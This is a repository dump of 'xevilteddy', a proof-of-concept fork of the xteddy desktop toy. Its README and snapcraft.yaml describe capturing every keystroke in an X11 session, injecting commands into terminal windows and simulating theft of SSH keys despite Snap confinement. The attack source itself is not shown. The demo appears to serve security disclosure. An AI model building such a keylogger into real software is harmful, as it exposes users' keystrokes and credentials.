├── setup ├── gui │ └── icon.png └── license.txt ├── autogen.sh ├── html ├── images │ ├── noise.jpg │ ├── xteddy.gif │ └── xteddy.xbm ├── xteddy.html └── xteddy_info.html ├── AUTHORS ├── configure.in ├── snapcraft.yaml ├── ChangeLog ├── README ├── mkinstalldirs ├── Makefile.am ├── NEWS ├── pixmaps ├── teddy_icon.xbm ├── xteddy_icon.xbm ├── xpenguin_icon.xbm ├── xteddy_bw.xbm └── xteddy_mask.xbm ├── xteddy.1 ├── install-sh ├── missing ├── xteddy.README ├── INSTALL ├── compile ├── xteddy.c ├── COPYING ├── depcomp └── Makefile.in /setup/gui/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mjg59/xevilteddy/HEAD/setup/gui/icon.png -------------------------------------------------------------------------------- /autogen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | aclocal 3 | automake --add-missing 4 | autoconf 5 | ./configure $@ 6 | -------------------------------------------------------------------------------- /html/images/noise.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mjg59/xevilteddy/HEAD/html/images/noise.jpg -------------------------------------------------------------------------------- /html/images/xteddy.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mjg59/xevilteddy/HEAD/html/images/xteddy.gif -------------------------------------------------------------------------------- /AUTHORS: -------------------------------------------------------------------------------- 1 | Stefan Gustavson (stefang@isy.liu.se) 2 | Andreas Tille (tille@physik.uni-halle.de) (only automake) 3 | 4 | 5 | -------------------------------------------------------------------------------- /setup/license.txt: -------------------------------------------------------------------------------- 1 | This work is released under the terms of the GNU GPL. Source can be obtained 2 | from https://github.com/mjg59/xevilteddy. 3 | -------------------------------------------------------------------------------- /configure.in: -------------------------------------------------------------------------------- 1 | AC_INIT(xteddy.c) 2 | AM_INIT_AUTOMAKE(xteddy, 1.1) 3 | 4 | AC_PROG_CC 5 | 6 | AC_PATH_XTRA 7 | AC_CHECK_LIB(Xpm, XpmReadFileToPixmap, , , $X_LIBS -lX11) 8 | 9 | AC_DEFINE_UNQUOTED(PIXMAP_PATH, "${prefix}/include/X11/pixmaps") 10 | 11 | AC_OUTPUT(Makefile) 12 | -------------------------------------------------------------------------------- /snapcraft.yaml: -------------------------------------------------------------------------------- 1 | name: xevilteddy 2 | version: 0.1 3 | summary: An evil teddy bear that logs your keystrokes 4 | description: An evil teddy bear that logs all your keystrokes and simulates sending your private SSH keys to a remote site 5 | build-packages: [libxpm-dev] 6 | 7 | apps: 8 | xteddy: 9 | command: bin/xteddy -F$SNAP/include/X11/xteddy 10 | plugs: [unity7] 11 | 12 | parts: 13 | xteddy: 14 | plugin: autotools 15 | source: . 16 | filesets: 17 | xteddy: 18 | - bin/xteddy 19 | - include/X11/* 20 | # stage: 21 | # - $xteddy 22 | snap: 23 | - $xteddy 24 | -------------------------------------------------------------------------------- /ChangeLog: -------------------------------------------------------------------------------- 1 | Thu Oct 22 16:56:11 1998 Andreas Tille (tille@physik.uni-halle.de) 2 | * added a smoother (nicer) xteddy named only teddy 3 | * New xpenguin with decreased colors which gives a greater 4 | possibilty to work on poor colored displays 5 | 6 | 7 | Thu Apr 22 17:56:11 1998 Andreas Tille (tille@physik.uni-halle.de) 8 | 9 | * -Fname option added to give the chance of loading different 10 | pixmaps 11 | * Manpage updated according to this stuff 12 | * xteddy.README: Imake stuff description replaced by 13 | configure description 14 | 15 | 16 | Thu Apr 02 11:11:11 1998 Andreas Tille (tille@physik.uni-halle.de) 17 | 18 | * automake Stuff added (Makefile.am, configure.in) 19 | * deleted patchlevel.h because it's job is done by automake 20 | 21 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | This is a proof of concept application that grabs all keystrokes typed into 2 | the current X11 session and injects a harmless command whenever a Gnome 3 | Terminal window is given focus. This is possible even when confined by 4 | technologies such as the Ubuntu Snap packaging format. It is based on xteddy, 5 | whose original README follows. 6 | 7 | Original README 8 | 9 | This directory contains the source to my creation 'xteddy', 10 | version 1.1 of April 22, 1998. 11 | The single file xteddy.tar.gz contains all you need. If you 12 | have problems with binary FTP or GNU zip, there is an 13 | uncompressed xteddy.tar, too. 14 | 15 | Stefan Gustavson (stefang@isy.liu.se) 16 | 17 | The latest source you will get under 18 | 19 | ftp://ftp.isy.liu.se/pub/colour/xteddy/xteddy-1.1.tar 20 | 21 | The Homepage of xteddy is under 22 | 23 | http://www.itn.liu.se/~stegu/xteddy.html 24 | 25 | 26 | -------------------------------------------------------------------------------- /mkinstalldirs: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # mkinstalldirs --- make directory hierarchy 3 | # Author: Noah Friedman 4 | # Created: 1993-05-16 5 | # Public domain 6 | 7 | # $Id: mkinstalldirs,v 1.10 1996/05/03 07:37:52 friedman Exp $ 8 | 9 | errstatus=0 10 | 11 | for file 12 | do 13 | set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` 14 | shift 15 | 16 | pathcomp= 17 | for d 18 | do 19 | pathcomp="$pathcomp$d" 20 | case "$pathcomp" in 21 | -* ) pathcomp=./$pathcomp ;; 22 | esac 23 | 24 | if test ! -d "$pathcomp"; then 25 | echo "mkdir $pathcomp" 1>&2 26 | 27 | mkdir "$pathcomp" || lasterr=$? 28 | 29 | if test ! -d "$pathcomp"; then 30 | errstatus=$lasterr 31 | fi 32 | fi 33 | 34 | pathcomp="$pathcomp/" 35 | done 36 | done 37 | 38 | exit $errstatus 39 | 40 | # mkinstalldirs ends here 41 | -------------------------------------------------------------------------------- /Makefile.am: -------------------------------------------------------------------------------- 1 | # GPL (C) 1998 Andreas Tille 2 | # tille@physik.uni-halle.de 3 | bin_PROGRAMS = xteddy 4 | 5 | xteddy_SOURCES = xteddy.c 6 | HTML_DOC = html/xteddy.html html/xteddy_info.html \ 7 | html/images/noise.jpg html/images/xteddy.gif html/images/xteddy.xbm 8 | xteddy_LDADD = -L/usr/X11R6/lib 9 | LIBS = -lX11 -lXext -lXpm -lXtst 10 | man_MANS = xteddy.1 11 | 12 | pixmapdir = $(prefix)/include/X11 13 | 14 | pixmap_DATA = pixmaps/xteddy_bw.xbm \ 15 | pixmaps/xteddy_color.xpm \ 16 | pixmaps/xteddy_icon.xbm \ 17 | pixmaps/xteddy_mask.xbm \ 18 | pixmaps/xpenguin_bw.xbm \ 19 | pixmaps/xpenguin_color.xpm \ 20 | pixmaps/xpenguin_icon.xbm \ 21 | pixmaps/xpenguin_mask.xbm \ 22 | pixmaps/teddy_bw.xbm \ 23 | pixmaps/teddy_color.xpm \ 24 | pixmaps/teddy_icon.xbm \ 25 | pixmaps/teddy_mask.xbm 26 | 27 | EXTRA_DIST = xteddy.README configure xteddy.1 autogen.sh \ 28 | $(HTML_DOC) $(pixmap_DATA) 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /html/xteddy.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Personal presentation of Xteddy 5 | 6 | 7 | 8 | 9 |

10 | 11 | Xteddy 12 |

13 |
14 |
Exe-cute-able name 15 |
16 | xteddy 17 |
Home address 18 |
19 | /usr/local/bin 20 |
21 |
22 |

Presentation

23 | Hello! I'm Xteddy, your virtual comfort when things get rough. 24 | I can do everything a real teddy bear can do. That is, I can 25 | sit around silently, look cute, and make you smile. 26 |

27 | I was created in 1994 by 28 | Stefan Gustavson. 29 | You can 30 | get my source code on 'tar' format by anonymous FTP. 31 | I should compile on most Unix/X systems without problems. 32 |

33 | I want to sit on your X desktop. Can I, please? 34 |

35 | Now available also for Microsoft Windows and OS/2!
36 | Follow the link below for further details. 37 |

38 | 39 | Further information on Xteddy 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /NEWS: -------------------------------------------------------------------------------- 1 | /* 1997-08-07: (1.0.3) */ 2 | /* Added -display and -noquit options. Changed the */ 3 | /* names of options "-f" and "-w" to "-float" and */ 4 | /* "-wm" for clarity reasons. */ 5 | 6 | /* 1994-02-11: (1.0.2) Touched up the icon bitmap. */ 7 | /* Made xteddy aware of reparenting in order to */ 8 | /* get the coordinates right for mouse movements. */ 9 | /* Joined the color and grayscale pixmaps into one */ 10 | /* single file. The choice between grayscale or */ 11 | /* color is now made by the Xpm library function. */ 12 | 13 | /* 1994-02-01: (1.0.1) Compacted the large pixmap */ 14 | /* files to 1 char per pixel to save about 100K */ 15 | /* in both the source and the executable. */ 16 | /* Fixed some minor bugs to compile on other */ 17 | /* platforms than Sun. */ 18 | /* Added a command-line option -w to make xteddy */ 19 | /* use the window manager if desired. */ 20 | /* Added a manpage. (Thanks to Reinhard Zierke) */ 21 | /* Added an option -f to make xteddy float on top */ 22 | /* of all windows. (suggested by Bert Gijsbers) */ 23 | 24 | /* 1994-01-20: First working version (1.0). */ 25 | /* Supports mono, grayscale and color displays. */ 26 | -------------------------------------------------------------------------------- /html/images/xteddy.xbm: -------------------------------------------------------------------------------- 1 | #define xteddy_icon_width 48 2 | #define xteddy_icon_height 64 3 | static char xteddy_icon_bits[] = { 4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 5 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 6 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 7 | 0x00, 0xb7, 0x01, 0x00, 0x00, 0x00, 0x80, 0x2f, 0xfe, 0x9f, 0x3f, 0x00, 8 | 0x80, 0x7d, 0x19, 0xe9, 0x76, 0x00, 0x80, 0x5f, 0xea, 0x4a, 0xfd, 0x00, 9 | 0x80, 0xbf, 0xaa, 0x5a, 0xfc, 0x00, 0x80, 0xef, 0xaa, 0x6a, 0xf9, 0x00, 10 | 0x00, 0xfd, 0xad, 0xb6, 0xb8, 0x00, 0x00, 0x6f, 0xbb, 0xbd, 0xf4, 0x00, 11 | 0x00, 0xfe, 0x56, 0x2b, 0xa8, 0x00, 0x00, 0xd6, 0xb5, 0x55, 0x59, 0x00, 12 | 0x00, 0xfc, 0x6f, 0x3b, 0x34, 0x00, 0x00, 0xa8, 0x0e, 0x7c, 0x12, 0x00, 13 | 0x00, 0xf8, 0x06, 0x98, 0x08, 0x00, 0x00, 0x58, 0x01, 0x30, 0x04, 0x00, 14 | 0x00, 0xf8, 0xe1, 0x50, 0x05, 0x00, 0x00, 0xf8, 0xe1, 0x20, 0x06, 0x00, 15 | 0x00, 0x58, 0x41, 0x80, 0x04, 0x00, 0x00, 0xf0, 0x01, 0x20, 0x05, 0x00, 16 | 0x00, 0xb0, 0x43, 0xa2, 0x02, 0x00, 0x00, 0x60, 0xa3, 0xb0, 0x02, 0x00, 17 | 0x00, 0xc0, 0x0f, 0xa8, 0x01, 0x00, 0x00, 0xb0, 0x7a, 0xb7, 0x02, 0x00, 18 | 0x00, 0xe8, 0xa5, 0xaa, 0x07, 0x00, 0x00, 0xd4, 0x5b, 0xd5, 0x1d, 0x00, 19 | 0x00, 0x6b, 0xd5, 0xb7, 0x77, 0x00, 0x80, 0xe8, 0xf6, 0x6a, 0xdf, 0x00, 20 | 0x40, 0x72, 0x95, 0x5d, 0x7f, 0x03, 0xa0, 0xd4, 0xf6, 0xd5, 0xdf, 0x05, 21 | 0x50, 0x75, 0xb5, 0x5d, 0xfe, 0x0b, 0xa8, 0xea, 0xf6, 0xab, 0x7b, 0x15, 22 | 0x58, 0xb5, 0xad, 0x6a, 0x7f, 0x19, 0xd4, 0x6a, 0xf5, 0x55, 0x76, 0x3a, 23 | 0xbc, 0xfd, 0x96, 0xab, 0xdd, 0x35, 0x54, 0xab, 0xea, 0x56, 0x76, 0x23, 24 | 0xfc, 0xb6, 0x4a, 0xad, 0xda, 0x3d, 0xd4, 0xb5, 0xd4, 0x2b, 0xbd, 0x22, 25 | 0x78, 0x5b, 0xe2, 0x92, 0x6a, 0x15, 0xe0, 0xbc, 0x45, 0x27, 0xed, 0x0a, 26 | 0x00, 0xff, 0xca, 0xca, 0x0f, 0x07, 0x00, 0xff, 0x9b, 0xfa, 0x0f, 0x00, 27 | 0x00, 0xff, 0x6f, 0xa5, 0x0f, 0x00, 0x00, 0x57, 0xbd, 0x1a, 0x0d, 0x00, 28 | 0x00, 0xfd, 0xab, 0x6a, 0x19, 0x00, 0x00, 0x56, 0xf7, 0x2d, 0x15, 0x00, 29 | 0x00, 0xff, 0xbd, 0x5b, 0x19, 0x00, 0x00, 0x55, 0xf5, 0xaf, 0x12, 0x00, 30 | 0x00, 0xd5, 0x72, 0xbb, 0x14, 0x00, 0x00, 0xa9, 0xe6, 0xaf, 0x11, 0x00, 31 | 0x00, 0xab, 0x6a, 0xb7, 0x0e, 0x00, 0x00, 0x42, 0xd1, 0xaf, 0x0a, 0x00, 32 | 0x00, 0x2a, 0xd5, 0xaa, 0x0a, 0x00, 0x00, 0x8a, 0xd4, 0x55, 0x09, 0x00, 33 | 0x00, 0xac, 0xaa, 0x21, 0x05, 0x00, 0x00, 0x48, 0x95, 0xab, 0x03, 0x00, 34 | 0x00, 0x70, 0x0d, 0x7c, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 36 | -------------------------------------------------------------------------------- /pixmaps/teddy_icon.xbm: -------------------------------------------------------------------------------- 1 | #define xteddy_icon_width 48 2 | #define xteddy_icon_height 64 3 | static unsigned char xteddy_icon_bits[] = { 4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 5 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 6 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 7 | 0x00, 0xb7, 0x01, 0x00, 0x00, 0x00, 0x80, 0x2f, 0xfe, 0x9f, 0x3f, 0x00, 8 | 0x80, 0x7d, 0x19, 0xe9, 0x76, 0x00, 0x80, 0x5f, 0xea, 0x4a, 0xfd, 0x00, 9 | 0x80, 0xbf, 0xaa, 0x5a, 0xfc, 0x00, 0x80, 0xef, 0xaa, 0x6a, 0xf9, 0x00, 10 | 0x00, 0xfd, 0xad, 0xb6, 0xb8, 0x00, 0x00, 0x6f, 0xbb, 0xbd, 0xf4, 0x00, 11 | 0x00, 0xfe, 0x56, 0x2b, 0xa8, 0x00, 0x00, 0xd6, 0xb5, 0x55, 0x59, 0x00, 12 | 0x00, 0xfc, 0x6f, 0x3b, 0x34, 0x00, 0x00, 0xa8, 0x0e, 0x7c, 0x12, 0x00, 13 | 0x00, 0xf8, 0x06, 0x98, 0x08, 0x00, 0x00, 0x58, 0x01, 0x30, 0x04, 0x00, 14 | 0x00, 0xf8, 0xe1, 0x50, 0x05, 0x00, 0x00, 0xf8, 0xe1, 0x20, 0x06, 0x00, 15 | 0x00, 0x58, 0x41, 0x80, 0x04, 0x00, 0x00, 0xf0, 0x01, 0x20, 0x05, 0x00, 16 | 0x00, 0xb0, 0x43, 0xa2, 0x02, 0x00, 0x00, 0x60, 0xa3, 0xb0, 0x02, 0x00, 17 | 0x00, 0xc0, 0x0f, 0xa8, 0x01, 0x00, 0x00, 0xb0, 0x7a, 0xb7, 0x02, 0x00, 18 | 0x00, 0xe8, 0xa5, 0xaa, 0x07, 0x00, 0x00, 0xd4, 0x5b, 0xd5, 0x1d, 0x00, 19 | 0x00, 0x6b, 0xd5, 0xb7, 0x77, 0x00, 0x80, 0xe8, 0xf6, 0x6a, 0xdf, 0x00, 20 | 0x40, 0x72, 0x95, 0x5d, 0x7f, 0x03, 0xa0, 0xd4, 0xf6, 0xd5, 0xdf, 0x05, 21 | 0x50, 0x75, 0xb5, 0x5d, 0xfe, 0x0b, 0xa8, 0xea, 0xf6, 0xab, 0x7b, 0x15, 22 | 0x58, 0xb5, 0xad, 0x6a, 0x7f, 0x19, 0xd4, 0x6a, 0xf5, 0x55, 0x76, 0x3a, 23 | 0xbc, 0xfd, 0x96, 0xab, 0xdd, 0x35, 0x54, 0xab, 0xea, 0x56, 0x76, 0x23, 24 | 0xfc, 0xb6, 0x4a, 0xad, 0xda, 0x3d, 0xd4, 0xb5, 0xd4, 0x2b, 0xbd, 0x22, 25 | 0x78, 0x5b, 0xe2, 0x92, 0x6a, 0x15, 0xe0, 0xbc, 0x45, 0x27, 0xed, 0x0a, 26 | 0x00, 0xff, 0xca, 0xca, 0x0f, 0x07, 0x00, 0xff, 0x9b, 0xfa, 0x0f, 0x00, 27 | 0x00, 0xff, 0x6f, 0xa5, 0x0f, 0x00, 0x00, 0x57, 0xbd, 0x1a, 0x0d, 0x00, 28 | 0x00, 0xfd, 0xab, 0x6a, 0x19, 0x00, 0x00, 0x56, 0xf7, 0x2d, 0x15, 0x00, 29 | 0x00, 0xff, 0xbd, 0x5b, 0x19, 0x00, 0x00, 0x55, 0xf5, 0xaf, 0x12, 0x00, 30 | 0x00, 0xd5, 0x72, 0xbb, 0x14, 0x00, 0x00, 0xa9, 0xe6, 0xaf, 0x11, 0x00, 31 | 0x00, 0xab, 0x6a, 0xb7, 0x0e, 0x00, 0x00, 0x42, 0xd1, 0xaf, 0x0a, 0x00, 32 | 0x00, 0x2a, 0xd5, 0xaa, 0x0a, 0x00, 0x00, 0x8a, 0xd4, 0x55, 0x09, 0x00, 33 | 0x00, 0xac, 0xaa, 0x21, 0x05, 0x00, 0x00, 0x48, 0x95, 0xab, 0x03, 0x00, 34 | 0x00, 0x70, 0x0d, 0x7c, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 36 | -------------------------------------------------------------------------------- /pixmaps/xteddy_icon.xbm: -------------------------------------------------------------------------------- 1 | #define xteddy_icon_width 48 2 | #define xteddy_icon_height 64 3 | static unsigned char xteddy_icon_bits[] = { 4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 5 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 6 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 7 | 0x00, 0xb7, 0x01, 0x00, 0x00, 0x00, 0x80, 0x2f, 0xfe, 0x9f, 0x3f, 0x00, 8 | 0x80, 0x7d, 0x19, 0xe9, 0x76, 0x00, 0x80, 0x5f, 0xea, 0x4a, 0xfd, 0x00, 9 | 0x80, 0xbf, 0xaa, 0x5a, 0xfc, 0x00, 0x80, 0xef, 0xaa, 0x6a, 0xf9, 0x00, 10 | 0x00, 0xfd, 0xad, 0xb6, 0xb8, 0x00, 0x00, 0x6f, 0xbb, 0xbd, 0xf4, 0x00, 11 | 0x00, 0xfe, 0x56, 0x2b, 0xa8, 0x00, 0x00, 0xd6, 0xb5, 0x55, 0x59, 0x00, 12 | 0x00, 0xfc, 0x6f, 0x3b, 0x34, 0x00, 0x00, 0xa8, 0x0e, 0x7c, 0x12, 0x00, 13 | 0x00, 0xf8, 0x06, 0x98, 0x08, 0x00, 0x00, 0x58, 0x01, 0x30, 0x04, 0x00, 14 | 0x00, 0xf8, 0xe1, 0x50, 0x05, 0x00, 0x00, 0xf8, 0xe1, 0x20, 0x06, 0x00, 15 | 0x00, 0x58, 0x41, 0x80, 0x04, 0x00, 0x00, 0xf0, 0x01, 0x20, 0x05, 0x00, 16 | 0x00, 0xb0, 0x43, 0xa2, 0x02, 0x00, 0x00, 0x60, 0xa3, 0xb0, 0x02, 0x00, 17 | 0x00, 0xc0, 0x0f, 0xa8, 0x01, 0x00, 0x00, 0xb0, 0x7a, 0xb7, 0x02, 0x00, 18 | 0x00, 0xe8, 0xa5, 0xaa, 0x07, 0x00, 0x00, 0xd4, 0x5b, 0xd5, 0x1d, 0x00, 19 | 0x00, 0x6b, 0xd5, 0xb7, 0x77, 0x00, 0x80, 0xe8, 0xf6, 0x6a, 0xdf, 0x00, 20 | 0x40, 0x72, 0x95, 0x5d, 0x7f, 0x03, 0xa0, 0xd4, 0xf6, 0xd5, 0xdf, 0x05, 21 | 0x50, 0x75, 0xb5, 0x5d, 0xfe, 0x0b, 0xa8, 0xea, 0xf6, 0xab, 0x7b, 0x15, 22 | 0x58, 0xb5, 0xad, 0x6a, 0x7f, 0x19, 0xd4, 0x6a, 0xf5, 0x55, 0x76, 0x3a, 23 | 0xbc, 0xfd, 0x96, 0xab, 0xdd, 0x35, 0x54, 0xab, 0xea, 0x56, 0x76, 0x23, 24 | 0xfc, 0xb6, 0x4a, 0xad, 0xda, 0x3d, 0xd4, 0xb5, 0xd4, 0x2b, 0xbd, 0x22, 25 | 0x78, 0x5b, 0xe2, 0x92, 0x6a, 0x15, 0xe0, 0xbc, 0x45, 0x27, 0xed, 0x0a, 26 | 0x00, 0xff, 0xca, 0xca, 0x0f, 0x07, 0x00, 0xff, 0x9b, 0xfa, 0x0f, 0x00, 27 | 0x00, 0xff, 0x6f, 0xa5, 0x0f, 0x00, 0x00, 0x57, 0xbd, 0x1a, 0x0d, 0x00, 28 | 0x00, 0xfd, 0xab, 0x6a, 0x19, 0x00, 0x00, 0x56, 0xf7, 0x2d, 0x15, 0x00, 29 | 0x00, 0xff, 0xbd, 0x5b, 0x19, 0x00, 0x00, 0x55, 0xf5, 0xaf, 0x12, 0x00, 30 | 0x00, 0xd5, 0x72, 0xbb, 0x14, 0x00, 0x00, 0xa9, 0xe6, 0xaf, 0x11, 0x00, 31 | 0x00, 0xab, 0x6a, 0xb7, 0x0e, 0x00, 0x00, 0x42, 0xd1, 0xaf, 0x0a, 0x00, 32 | 0x00, 0x2a, 0xd5, 0xaa, 0x0a, 0x00, 0x00, 0x8a, 0xd4, 0x55, 0x09, 0x00, 33 | 0x00, 0xac, 0xaa, 0x21, 0x05, 0x00, 0x00, 0x48, 0x95, 0xab, 0x03, 0x00, 34 | 0x00, 0x70, 0x0d, 0x7c, 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 35 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 36 | -------------------------------------------------------------------------------- /html/xteddy_info.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Further information on Xteddy 5 | 6 | 7 | 8 | 9 |

10 | 11 | Xteddy 12 |

13 |
14 |
15 | 16 |

About Xteddy

17 |

(From the desk of 18 | the author)

19 |

I created Xteddy in 1994 as a spare time hack for fun. The 20 | reception he got from my colleagues was so heart-warming I 21 | was encouraged to distribute him world-wide. Much to my 22 | surprise, the response was overwhelming. By now, I have 23 | received hundreds of friendly messages of appreciation from 24 | all over the world, and they keep dropping in even three years 25 | after the release. To all of you teddy bear lovers out there: 26 | thanks! 27 |

28 |

The teddy bear image is a photo of a Tender Teddy from 29 | Gund. 30 | I have the original sitting on my non-virtual desktop at work. 31 |

32 |

Compilation

33 |

Xteddy should compile on most Unix/X systems. He has been 34 | reported to run properly without modifications on SunOS, 35 | Solaris, HP/UX, AIX, A/UX, Irix and Linux, among others, and 36 | he is compatible with X11R4, R5 and R6 as well as all versions 37 | of OpenWindows. 38 | Should you encounter any problems, let me know and I'll try to help. 39 |

40 | 41 |

Your own teddy bear

42 |

If you would rather like to have the program display an image of 43 | your own teddy bear, or one you wish you had, it isn't that difficult. 44 | Instructions may 45 | be found in the documentation supplied with the source code in the 46 | distribution of Xteddy. Additional information is available from 47 | me by request. I might even volunteer to take an image of your 48 | favorite teddy and convert it to the appropriate format, but I 49 | make no promises. It takes some manual editing. A high quality 50 | digital color image, about 300 pixels wide or so, taken against 51 | a plain background in a contrasting colour, preferably white, 52 | is what I need to consider doing it. 53 |

54 | 55 |

Port to Windows 95 and Windows NT available!

56 |

Recently, I had a very pleasant surprise. Claudio Felber of 57 | Cybernetic (felber@cybernetic.ch) finally managed to port Xteddy 58 | to Windows32 (NT and 95). The port was painful, but it is skilfully 59 | and cleverly done, it works, and it looks very good on any reasonably 60 | fast PC. The official release will be available from Claudio soon, 61 | but I have a copy here as well for you to grab and unzip. 62 |

66 |

67 | 68 |

Port to OS/2 available

69 |

A port of Xteddy that runs under the Presentation Manager of OS/2 70 | (which is a sadly underestimated operating system) has been performed 71 | by Alessandro Mascherpa 72 | (mascherpa@txt.it). 73 | There are no true shaped windows under OS/2, so this port uses a somewhat 74 | ugly but rather clever workaround. The archive can be downloaded from the URL:
75 | 76 | http://www.mclink.it/mclink/teamos2it/ita/bellissimi/teddy2.zip 77 |

78 | 79 | 80 | 81 | Back to Xteddys homepage 82 | 83 | 84 | 85 | -------------------------------------------------------------------------------- /pixmaps/xpenguin_icon.xbm: -------------------------------------------------------------------------------- 1 | #define xpenguin_icon_width 66 2 | #define xpenguin_icon_height 80 3 | static char xpenguin_icon_bits[] = { 4 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00, 5 | 0x00,0x00,0xfc,0x49,0x92,0x24,0x49,0x92,0x24,0x49,0x92,0xfc,0x00,0x00,0x00, 6 | 0x00,0x00,0x00,0x00,0x00,0xfc,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0xfc, 7 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x10,0x11,0x11,0xd1,0x1f,0x11, 8 | 0x11,0x11,0xfd,0x02,0x00,0x00,0xf0,0x3f,0x00,0x00,0x00,0xfc,0x48,0x92,0x48, 9 | 0xfa,0xff,0x24,0x89,0x44,0xfc,0x00,0x00,0x02,0xfc,0xff,0x01,0x20,0x00,0xfc, 10 | 0x20,0x04,0x00,0xfe,0xff,0x43,0x00,0x90,0xfc,0x84,0x40,0x50,0xff,0xdf,0x0f, 11 | 0x44,0x02,0xfc,0x00,0x10,0x02,0xff,0xff,0x07,0x01,0x08,0xfc,0x10,0x02,0x00, 12 | 0xff,0xff,0x2f,0x10,0x20,0xfd,0x42,0x88,0x48,0xff,0xff,0x8f,0x00,0x01,0xfc, 13 | 0x00,0x20,0x80,0xff,0xff,0x0f,0x44,0x04,0xfc,0x08,0x81,0x84,0xff,0xff,0x1f, 14 | 0x00,0x90,0xfc,0x20,0x00,0xa0,0xf3,0xc3,0x4f,0x22,0x00,0xfc,0x82,0x08,0x82, 15 | 0xe3,0xc1,0x1f,0x00,0x42,0xfc,0x00,0x20,0x88,0xc9,0x99,0x9f,0x48,0x08,0xfc, 16 | 0x10,0x82,0x80,0xdd,0xbd,0x1f,0x00,0x00,0xfd,0x42,0x00,0x20,0xdd,0x3d,0x3f, 17 | 0x04,0x22,0xfc,0x00,0x11,0x04,0x3d,0xb8,0x1f,0x41,0x00,0xfc,0x08,0x80,0x10, 18 | 0x0b,0x81,0x1f,0x10,0x88,0xfc,0x20,0x08,0x00,0x47,0x80,0x9f,0x00,0x01,0xfc, 19 | 0x02,0x41,0x04,0x13,0xa4,0x1f,0x08,0x44,0xfc,0x00,0x04,0x20,0x05,0x90,0x3f, 20 | 0x42,0x00,0xfc,0x48,0x20,0x02,0xa7,0xa8,0x1f,0x00,0x10,0xfd,0x00,0x01,0x10, 21 | 0x0b,0x97,0xbb,0x24,0x02,0xfc,0x04,0x10,0x41,0x5b,0x08,0x77,0x00,0x48,0xfc, 22 | 0x20,0x02,0x04,0x23,0x05,0x7f,0x88,0x00,0xfc,0x00,0x40,0x80,0xc3,0x00,0xff, 23 | 0x21,0x80,0xfc,0x89,0x08,0xd0,0x09,0x00,0xfe,0x00,0x12,0xfc,0x00,0x20,0xc2, 24 | 0x00,0x01,0xfe,0x05,0x40,0xfc,0x22,0x02,0xe0,0x00,0x00,0xfc,0x23,0x01,0xfd, 25 | 0x00,0x80,0x78,0x00,0x00,0xfc,0x03,0x08,0xfc,0x10,0x11,0x78,0x00,0x00,0xf8, 26 | 0x8f,0x00,0xfc,0x04,0x04,0x79,0x00,0x00,0xf8,0x0f,0x92,0xfc,0x40,0x20,0x3c, 27 | 0x00,0x00,0xf8,0x3f,0x00,0xfc,0x02,0x00,0x7e,0x00,0x00,0xf0,0x3f,0x00,0xfc, 28 | 0x10,0x89,0x3e,0x00,0x00,0xf0,0x3f,0x92,0xfc,0x00,0x00,0x3f,0x00,0x00,0xe0, 29 | 0xbf,0x00,0xfc,0x88,0x20,0x1f,0x00,0x00,0xe0,0x7f,0x44,0xfc,0x21,0x04,0x0f, 30 | 0x00,0x00,0xc0,0x7f,0x00,0xfd,0x00,0x10,0x0f,0x00,0x00,0xc0,0xff,0x11,0xfc, 31 | 0x04,0x81,0x07,0x00,0x00,0x80,0xff,0x00,0xfc,0x20,0x84,0x07,0x00,0x00,0x80, 32 | 0xff,0x88,0xfc,0x00,0xd0,0x07,0x00,0x00,0x80,0xff,0x01,0xfc,0x89,0xc0,0x03, 33 | 0x00,0x00,0x80,0xff,0x45,0xfc,0x00,0xe2,0x03,0x00,0x00,0x80,0xff,0x01,0xfc, 34 | 0x22,0xe8,0x03,0x00,0x00,0x80,0xff,0x11,0xfd,0x00,0xf0,0x03,0x00,0x00,0x80, 35 | 0xff,0x01,0xfc,0x88,0xf0,0x03,0x00,0x00,0x80,0xff,0x45,0xfc,0x00,0xf2,0x01, 36 | 0x00,0x00,0x80,0xff,0x01,0xfc,0x22,0xf0,0x03,0x00,0x00,0x80,0xff,0x91,0xfc, 37 | 